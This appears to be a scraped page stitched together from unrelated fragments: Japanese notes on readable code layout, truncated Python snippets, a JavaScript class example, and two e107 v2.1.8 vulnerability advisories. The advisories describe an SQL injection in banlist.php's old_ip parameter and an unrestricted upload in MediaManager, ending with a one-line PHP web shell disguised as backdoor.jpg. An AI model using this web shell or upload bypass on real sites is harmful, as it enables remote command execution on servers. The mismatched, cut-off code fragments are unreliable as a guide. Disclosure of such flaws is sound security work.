- 読みやすいから。 プログラミングをしている時間の大半はコードを読む時間だし、こだわる意味がある
- コードを、一貫性あるやり方で、意味のある形に「整形」すれば、設計に手を入れなくても、すばやく簡単に読むことができるコードにすることができる。
- 読み手が慣れているパターンと 一貫性のある レイアウトを使う。
- 似ているコードは似ているように見せる。
- 関連するコードをまとめてブロックにする。
import json | |
def convertToStr(data): | |
if type(data) is unicode: | |
data = data.encode('utf-8') | |
elif not type(data) is str: | |
data = str(data) | |
return data | |
def writerow(f, cols): |
from html.parser import HTMLParser | |
from urllib.request import urlopen | |
from datetime import datetime | |
import json | |
import csv | |
import sys | |
import re | |
# エラーログのパス | |
ERRORLOG = 'error.log' |
from html.parser import HTMLParser | |
from urllib.request import urlopen | |
from datetime import datetime | |
import json | |
import csv | |
import sys | |
import re | |
import os | |
# エラーログのパス |
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Classes
class Polygon {
constructor(height, width) {
this.height = height;
e107 v2.1.8 contains a flaw that may allow carrying out an SQL injection attack. The issue is due to the /e107_admin/banlist.php
script not properly escaping input to the old_ip
parameter. This may allow a remote attacker to inject or manipulate SQL queries in the database, allowing for the manipulation or disclosure of arbitrary data.
/e107_admin/admin.php
)/e107_admin/banlist.php
and use BurpSuite to rewrite parameters as follows.POST /e107/e107_admin/banlist.php HTTP/1.1
Host: localhost:8080
MediaManager of e107 v2.1.8 contains a flaw that is triggered as file types and extensions for uploaded files are not properly validated before being placed in a user-accessible path. This may allow a remote attacker to upload a file and then request it in order to execute arbitrary code with the privileges of the web service.
Login to the admin page (/e107_admin/admin.php
) and access MediaManager.
Make a backdoor PHP file named "backdoor.jpg" to bypass JavaScript filter and select it on MediaManeger.
<?php system($_GET['q']) ?>